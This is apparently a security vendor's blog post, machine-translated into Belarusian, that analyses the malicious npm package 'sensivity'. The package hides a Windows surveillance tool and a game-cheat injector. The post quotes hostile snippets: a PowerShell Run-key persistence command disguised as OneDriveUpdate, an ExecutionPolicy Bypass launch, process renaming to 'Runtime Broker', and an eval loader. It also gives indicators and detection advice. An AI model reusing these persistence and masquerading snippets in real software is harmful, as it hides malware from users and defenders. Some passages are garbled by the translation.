PairLoop: схаваная панэль дыстанцыйнага кіравання ў пакеце npm

PairLoop: адзін npm-пакет, семдзесят версій і схаваная панэль дыстанцыйнага кіравання Windows

TL, д-р

Пакет npm адчувальнасць апісвае сябе як «Панэль кіравання адчувальнасцю». У Windows яна паводзіць сябе як інструмент дыстанцыйнага кіравання і назірання.

Яго кропка ўваходу, launcher.js, перайменоўвае свой уласны працэс у Runtime Broker, запісвае значэнне ключа аўтазапуску з імем OneDriveUpdate які перазапускае пакет праз схаваны VBScript, стварае PowerShell з -ExecutionPolicy Bypass, а затым ацэньвае абфускаваную карысную нагрузку сервера памерам 171 КБ разам з уласным модулем памерам 6.87 МБ, sens.node.

Ён абслугоўвае панэль кіравання спалучэннем тэлефонаў на TCP-порту 3000 і зчытвае URL-адрас актыўнага браўзера праз Windows UIAutomation, адсочваючы адно жорстка закадаванае відэа з YouTube.

Дзве часткі, якія раней лічыліся чорнымі скрынкамі, цяпер вырашаны. Заблытаны сервер, server.obf.js, выкарыстоўвае схему радкоў-масіваў obfuscator.io RC4; перарэалізацыя яго дэкодэра ў аўтаномным рэжыме (без выканання JavaScript) аднаўляе адну знешнюю канчатковую кропку — https://izopi.com/check.php — разам з убудаваным адкрытым ключом RSA, які выкарыстоўваецца для праверкі падпісаных ліцэнзійных адказаў.

Родны модуль, sens.node, не спакаваны: яго табліца імпарту і ўбудаваныя радкі ідэнтыфікуюць яго як гульнявое аверлей DirectX 11 / Dear ImGui, які забяспечвае функцыі aimbot, ESP (wall-hack) і triggerbot, якія кіруюцца ін'екцыяй дыстанцыйных працэсаў і чытаннем/запісам у памяць.

Радкі ўнутры яго спасылаюцца на аб'екты транспартных сродкаў і месцазнаходжанне на карце ў адпаведнасці з GTA V / FiveM. Пакет npm — гэта абгортка дастаўкі і захавання вакол гэтага натыўнага модуля.

Вызначальным сігналам з'яўляецца аперацыйны, а не тэхнічны: адзін ананімны выдавец выпусціў прыкладна семдзесят версій аднаго пакета — 2.5.0 праз 2.5.69 — на працягу некалькіх дзён, кожны з якіх нёс адну і тую ж пускавую ўстаноўку.

Няма ўсталёвак hooksКарысная нагрузка запускаецца толькі тады, калі пакет запушчаны.

Атака: як гэта працуе

sensivity пастаўляе дзесяць файлаў. Файл package.json разрэджаны: няма поля рэпазітара, няма ліцэнзіі, ёсць асноўны і два псеўданімы bin (sensivity, sens), якія паказваюць на launcher.js, і стартавы скрыпт node launcher.js. Няма ніякіх перадусталёўак або пастоўсталёўак. Нічога не запускаецца пры ўсталёўцы npm. Паводзіны, апісаныя ніжэй, выконваюцца, калі карыстальнік запускае пакет — праз bin shim, стартавы скрыпт або require.

Тарбол змяшчае праграму запуску, абфускаваны сервер, натыўны модуль, скрыпт Visual Basic і каталог public/web для панэлі кіравання. launcher.js — гэта чытэльны аркестратар; логіка, якая мае значэнне падчас выканання, знаходзіцца ў двух блобах, якія ён загружае — абфускаваным серверы і скампіляваным натыўным модулі, абодва вырашаны ніжэй.

 Маскіроўка працэсаў і падроблены абнаўляльнік OneDrive

На пачатку выканання launcher.js двойчы ўстанаўлівае назву свайго працэсу:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker — гэта легітымны працэс Windows (RuntimeBroker.exe), які перадае дазволы праграм. Перайменаванне працэсу Node ў адпаведнасці з ім азначае, што хуткі позірк у дыспетчар задач не паказвае нічога незвычайнага.

Персістенцыя напісана праз PowerShell, а не праз API непасрэднага рэестра:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Значэнне аўтазапуску называецца OneDriveUpdate і не паказвае непасрэдна на пакет. Яно паказвае на wscript.exe, які запускае ўбудаваны OneDrive.Standalone.Updater.vbs. Гэты скрыпт перазапускае node launcher.js у схаваным акне. І назва ключа запуску, і назва файла VBScript запазычваюць брэндынг Microsoft, таму запіс аўтазапуску чытаецца як звычайная задача OneDrive.

PowerShell з абыходам палітыкі выканання

Праграма запуску пастаянна звяртаецца да PowerShell. Сканеры пазначаюць як крытычна важныя моманты запуску згенераванага файла .ps1 з адключанай палітыкай выканання:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Абыход ExecutionPolicy выдаляе лакальную праверку подпісу скрыптоў для гэтага выкліку. Згенераваныя скрыпты апрацоўваюць працу па назіранні за браўзерам і выяўленні вокнаў, апісаную ў наступным раздзеле.

Заблытаны сервер і натыўны модуль

Пасля ўсталёўкі launcher.js загружае і выконвае сваю рэальную карысную нагрузку:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js — гэта 171 КБ абфускацыі _0x-array — шаблону JavaScript, дзе кожны радок і ідэнтыфікатар замяняюцца індэксам у перамешаным масіве, а затым выдаляюцца спасылкі падчас выканання. Схема — гэта варыянт RC4, створаны obfuscator.io: адна функцыя дэкодэра дэкадуе запіс масіва па base64, а затым расшыфруе яго па RC4 з дапамогай ключа для кожнага выкліку. Перарэалізацыя гэтага дэкодэра ў асобным скрыпце — запуск толькі перарэалізацыі над здабытым масівам радкоў з 821 запісам, а не ўласнага JavaScript пакета — чыста раскручвае яго. Тое, што выглядае сціпла, але...cisive: адзін знешні URL-адрас, https://izopi.com/check.php`, прызначаны канстанце LICENSE_URL; убудаваны RSA PUBLIC_KEY_PEM`; лакальная панэль перанакіроўвае /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off і /trigger/status; і радкі child_process, crypto і [Sensivity] sens.node loaded — апошні з іх — гэта той самы радок журнала, які праграма запуску перапісвае ў program module loaded. Канчатковая кропка — гэта праверка ліцэнзіі: кліент адпраўляе ідэнтыфікатар (заблытаны сервер фарматуе радок Discord ID: %s), а ключ RSA правярае падпісаны адказ сервера.

sens.node — гэта скампіляваны натыўны дадатак памерам 6.87 МБ, які не ўпакаваны — энтрапія раздзелаў знаходзіцца на ўзроўні 5.6–6.6, а табліцы імпарту і экспарту PE засталіся цэлымі, таму яго магчымасці можна чытаць непасрэдна. Ён экспартуе napi_register_module_v1, standard Кропка ўваходу Node N-API, таму сервер, які ацэньваецца, загружае яе з простым require. Яго табліца імпарту — гэта tell. З KERNEL32 ён атрымлівае OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules і Process32First/NextW — кананічны набор для вызначэння месцазнаходжання іншага працэсу, выдзялення памяці ўнутры яго і чытання або запісу гэтай памяці. З USER32 ён атрымлівае GetAsyncKeyState, GetKeyState, mouse_event і SetCursorPos; ён звязвае d3d11.dll, D3DCOMPILER_43 і dwmapi для экраннага накладання, а таксама поўны набор WINHTTP для сеткавых выклікаў. Убудаваныя радкі называюць набор функцый без двухсэнсоўнасці: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected і банер Dear ImGui Dear ImGui 1.91.3 WIP. Радкі месцазнаходжання і сутнасці, такія як Grapeseed Medical Clinic і слоўнік vehicle-ESP, адпавядаюць GTA V / FiveM.

Падзел наўмысны: чытэльны launcher.js змяшчае толькі тыя часткі, якія сканер лёгка счытвае — persistence, maskarade, сам выклік eval — у той час як абфускацыя хавае адзін знешні хост, з якім звязваецца асяроддзе выканання, а бінарны файл змяшчае логіку гульнявога накладання і ўвядзення працэсаў. Лаўнчар — гэта тонкая, аўдытаваная абалонка; абфускаваны сервер хавае сеткавую ідэнтыфікацыю; уласны модуль — гэта карысная нагрузка. Мы апісваем імпарт і радкі бінарнага файла як прачытаныя; мы не робім высновы пра мэту аператара з іх.

 Панэль кіравання спалучэннем тэлефонаў на порце 3000

Праграма запуску кіруе лакальным вэб-серверам на TCP-порту 3000 і апрацоўвае яго як сінглтон. Яна запытвае існуючы слухач і ачышчае яго перад прывязкай:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панэль даступная па адрасе http://localhost:3000 з жорстка закадаваным рэзервовым URL-адрасам лакальнай сеткі http://192.168.1.16:3000. Каталог public/ і паводзіны панэлі адпавядаюць працэсу спалучэння QR-кодаў: тэлефон скануе код і падключаецца да хаста як выдалены. Знешні дамен кіравання камандамі і кіравання не адлюстроўваецца ў адкрытым выглядзе ў панэлі запуску, але, як паказвае дэабфускацыя вышэй, ён прысутнічае на абфускаваным серверы: канцавая кропка ліцэнзіі izopi.com. Сама панэль лакальная і мае лакальны доступ да лакальнай сеткі; адзіным выходным хастом з'яўляецца гэтая праверка ліцэнзіі.

Асобная мадэль супервізара/працоўніка падтрымлівае працу працэсу. Лаўнчар перазапускаецца са сцягамі асяроддзя SENSIVITY_SUPERVISOR і SENSIVITY_WORKER, прычым кожны даччыны працэс працуе схавана, таму пасля завяршэння аднаго працэсу вартавы механізм павінен яго перазапусціць.

Сачэнне за браўзерам і сігнал YouTube

Найбольш спецыфічная паводзіна — гэта маніторынг браўзера. launcher.js стварае PowerShell, які прымушае Windows UIAutomation зчытваць адрасны радок запушчанага браўзера:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern вяртае тэкставы змест элемента карыстальніцкага інтэрфейсу. Ужыты да элемента рэдагавання ў адрасным радку браўзера, ён вяртае URL-адрас, які праглядае ахвяра — без пашырэння браўзера, без дакранання да профілю на дыску і без перахопу API. Згенераваны скрыпт выконвае ітэрыю спісу $browserNames і здабывае URL-адрас або загаловак акна таго браўзера, які знаходзіцца на пярэднім плане.

Гэты URL-адрас правяраецца ў дачыненні да адной жорстка закадаванай мэты:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Праграма запуску апытвае акно браўзера, якое паказвае YouTube, у трохсекундным цыкле, і згенераваны PowerShell змяшчае пару Get-YouTubeBrowser / Test-TargetYouTubeUrl, якая адпавядае гэтаму ідэнтыфікатару відэа. Назіраны эфект двайны: актыўны URL-адрас прагляду зчытваецца з экрана ахвяры, і выяўляецца ўзаемадзеянне хаста з адным канкрэтным відэа YouTube. Мы апісваем механізм і мэту; мы не робім высноў пра матыў з іх.

Зчытванне адраснага радка — гэта тое, што сканер пазначае як sensitive_data_enumeration — крыніца Process::env і UIAutomation, якая забяспечвае сеткавае асяроддзе выканання. Сама па сабе яна выглядае бяскрыўднай і пераходзіць у назіранне толькі пасля таго, як жыццёвы цыкл дадзеных будзе прасочаны ад крыніцы UIAutomation да абфускаванага сервера.

Храналогія і эвалюцыя версій

Адчувальнасць — гэта не аднаразовая загрузка. Уліковы запіс выдаўца апублікаваў прыкладна семдзесят версій гэтага адзінага пакета, і новыя працягвалі паступаць падчас перыяду агляду. Лаўнчарная праграма пашыраецца функцыя за функцыяй на працягу ўсёй версіі 2.5.x, у той час як яе ўстойлівасць і карысная нагрузка застаюцца нязменнымі.

Дата (UTC) Назіраныя версіі Стан праграмы запуску
2026-06-02 2.5.8 - 2.5.46 (25) Базавы пускавы модуль QR-панэлі; захаванне клавішы запуску; ацэнка заблытанага сервера.
2026-06-03 2.5.53 - 2.5.61 (6) Той жа адбітак пальца; падаўленне слядоў кансолі.
2026-06-04 2.5.67, 2.5.68 (2) Дадае замацаваную мэту ўзаемадзеяння на YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Перавыданне для запаўнення прабелаў па ўсім дыяпазоне; кіраўнік/кантрольны орган работнікаў.

Аналіз праграмы запуску для загружаных прадстаўнікоў — 2.5.0, 2.5.36 і 2.5.69 — паказвае чатыры ўзроўні. У самых ранніх зборках ёсць базавы лаунчер з падтрымкай QR-кодаў. Пачынаючы з версіі 2.5.33, з'яўляецца зборшчык адрасоў UIAutomation. Пачынаючы з версіі 2.5.58, дадаецца ўзровень кіравання супервайзерам. Пачынаючы з версіі 2.5.64, дапаўняе набор асобны кантрольны таймер супервізара/працоўніка. На працягу ўсяго працэсу чатыры рэчы застаюцца нязменнымі: ключ OneDriveUpdate Run, сродак запаўнення OneDrive.Standalone.Updater.vbs, ацэнены файл server.obf.js і ўбудаваны модуль sens.node.

Хваля 2026-06-05 характэрная тым, што ў яе выніку былі перавыдадзеныя версіі з нізкімі нумарамі — ад 2.5.0 да 2.5.15 — якія знаходзяцца ніжэй за версіі, пацверджаныя некалькі дзён таму. У выніку ў рэестры з'явіўся сумежны радок 2.5.x, прычым кожная версія мела адну і тую ж праграму запуску.

Паказчыкі кампрамісу

Усе паказаныя ніжэй індыкатары былі прачытаны непасрэдна з tar-архіва пакета. Чытаемы лаунчер мае толькі пятлю зваротнай сувязі і адзін прыватны адрас лакальнай сеткі; адно знешняе імя хаста, izopi.com, было адноўлена шляхам дэабфускацыі server.obf.js у аўтаномным рэжыме.

тып індыкатар нататкі
пакет npm:sensivity (≈70 версій, 2.5.0-2.5.69) Выдавец аднаго пакета; без рэпазітара; без ліцэнзіі.
Размовы launcher.js Чытальны аркестратар; галоўны і кантэйнерны прыцэл.
Размовы server.obf.js (≈171 КБ) Карысная нагрузка радковага масіва obfuscator.io RC4, загружаная праз eval(fs.readFileSync(...)).
Размовы sens.node (≈6.87 МБ) Дадатак PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Размовы OneDrive.Standalone.Updater.vbs Схаваны перазапуск (node launcher.js).
сетка https://izopi.com/check.php Канчатковая кропка ліцэнзіі/аўтэнтыфікацыі атрымана з абфускаванага сервера; убудаваны адкрыты ключ RSA правярае адказы.
Магчымасці OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Увядзенне ў працэсы дыстанцыйна і магчымасць чытання/запісу ў памяць.
Магчымасці Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Гульнявое афармленне DirectX 11 / ImGui, якое рэалізуе функцыі aimbot, ESP і triggerbot.
рэестр HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Значэнне аўтазапуску, якое паказвае на wscript.exe і праграму запуску VBScript.
Працэс process.title = 'Runtime Broker' Маскіруецца пад законны працэс Windows Runtime Broker.
Паводніцкія powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Абыход палітыкі выканання, які выкарыстоўваецца для згенераваных скрыптоў PowerShell.
Паводніцкія UIAutomation ValuePattern чытанне адраснага радка браўзера Зчытвае URL-адрас акна браўзера на пярэднім плане.
Паводніцкія Ідэнтыфікатар мэтавага відэа wJWta2lO0Lw3-секунднае апытанне на YouTube Замацаваны сігнал маніторынгу ўзаемадзеяння.
сетка http://localhost:3000, рэзервовы варыянт http://192.168.1.16:3000 Панэль кіравання QR-спалучэннем даступная лакальна і па лакальнай сетцы.
Environment SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Сцяжкі каардынацыі працэсаў асобнага вартаўніка.

Атрыбуцыя, уплыў і абаронцы

Пакет апублікаваны адным акаўнтам npm, пазначаны адрас электроннай пошты якога з'яўляецца неправераным адрасам Gmail. Уліковы запіс мае вельмі негатыўную рэпутацыю ў рэестры, падтрымлівае і публікуе толькі гэты адзін пакет і не мае звязанага з ім рэпазітара зыходнага кода. Мы не пацвердзілі ўласнасць электроннай пошты і прыпісваем кампанію акаўнту выдаўца, а не якой-небудзь названай асобе. Лаўнчар не мае інфраструктуры адкрытага тэксту, але адзін знешні хост цяпер вядомы: заблытаны сервер звязваецца з izopi.com для праверкі ліцэнзіі, а ўласны модуль — які зчытваецца з табліцы імпарту і радкоў, а не ў адваротным парадку інструкцыя за інструкцыяй — гэта гульнявое накладанне, якое ўводзіць код у памяць іншага працэсу і зчытвае яго.

Бачны ўплыў адчуваюць карыстальнікі Windows, якія ўсталёўваюць і запускаюць sensivity, чакаючы ўтыліты панэлі кіравання. На гэтых хостах пакет усталёўвае аўтазапуск persistent, замаскіраваны пад задачу OneDrive, перайменоўвае сябе, каб імітаваць сістэмны працэс, зчытвае URL-адрас таго, што праглядае карыстальнік, і стварае панэль спалучэння, якая прывязвае машыну да выдаленага сервера праз лакальную сетку. Кантролер супервізара/працоўніка азначае, што адно завяршэнне працэсу не выдаляе яго; запіс Run-key захоўваецца пасля перазагрузкі. macOS і Linux не кіруюцца запускам — шляхі persistent, PowerShell і UIAutomation даступныя толькі для Windows.

Варта адзначыць тэндэнцыю з'яўлення сямідзесяці версій. Перавыданне аднаго пакета дзясяткі разоў на працягу некалькіх дзён, у тым ліку даданне нумароў версій пад нумары тых, што ўжо былі выдаленыя, захоўвае жывую копію ў рэестры паміж выдаленнямі і перашкаджае працы з блакіроўкай версій. Запіс у блакіроўцы для sensivity@2.5.61 ніяк не ўплывае на sensivity@2.5.3, перавыданую на наступны дзень.

Абаронцы могуць дзейнічаць па наступных прычынах:

  • Блакуйце канфідэнцыйнасць назвы пакета ў спісах белых спісаў рэестра-проксі і неканфігураванай інтэграцыі. Замацаванне асобных версій губляе частату перавыдання; назва з'яўляецца паказчыкам трываласці.
  • Знайдзіце значэнне Run з імем OneDriveUpdate, даныя якога выклікаюць wscript.exe для .vbs у шляху для кожнага карыстальніка. Сапраўдны абнаўляльнік OneDrive не зарэгістраваны такім чынам.
  • Папярэджанне аб працэсе Node.js, process.title якога — Runtime Broker. Сапраўдным брокерам з'яўляецца RuntimeBroker.exe, а не асяроддзе выканання Node.
  • Пазначаць npm падчас усталёўкі пакеты, якія дастаўляюць скампіляванае дапаўненне .node плюс eval(fs.readFileSync(…)) для аднаго з файлаў .obf.js. Гэта спалучэнне — непразрысты натыўны двайковы файл, загружаны побач з абфускаваным тэкставым карысным змесцівам — з'яўляецца структурным сігналам, незалежным ад любога радковага ўводу-вываду.
  • Разглядаць любы лакальна звязаны слухач на порце 3000, створаны нечаканым працэсам Node, як падазроны на кіраваных канчатковых кропках Windows.
  • Блакіраваць або папярэджваць аб выходных запытах да izopi.com ад распрацоўшчыкаў або канчатковых карыстальнікаў; гэта адзіная знешняя кропка пакета, дасягальная па адрасе /check.php з абфускаванага сервера.
  • Для любога ўбудаванага дапаўнення .node праверце яго табліцу імпарту, перш чым давяраць яму. Камбінацыя OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread з'яўляецца ін'екцыяй у аддалены працэс, незалежна ад таго, што абяцае рабіць пакет; тут яна знаходзіцца побач з накладкай Direct3D і радкамі aimbot/ESP/triggerbot.

Для статычнага аналізу pipelineТакім чынам, форма пераканання ўстойлівая на працягу ўсёй змены версій: профіль усталёўкі без сеткі, прысваенне назвы працэсу вядомай назве сістэмнага працэсу, запіс з дапамогай клавішы запуску праз PowerShell і ацэнка файла, прачытанага з дыска. Нішто з гэтага не залежыць ад дамена, IP-адраса або нумара версіі, якія можна змяніць пры наступнай перавыданні.

 Спасылкі

[npm: адчувальнасць] – старонка рэестра для радка версіі пакета, які абмяркоўваецца тут; падлягае выдаленню.

інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni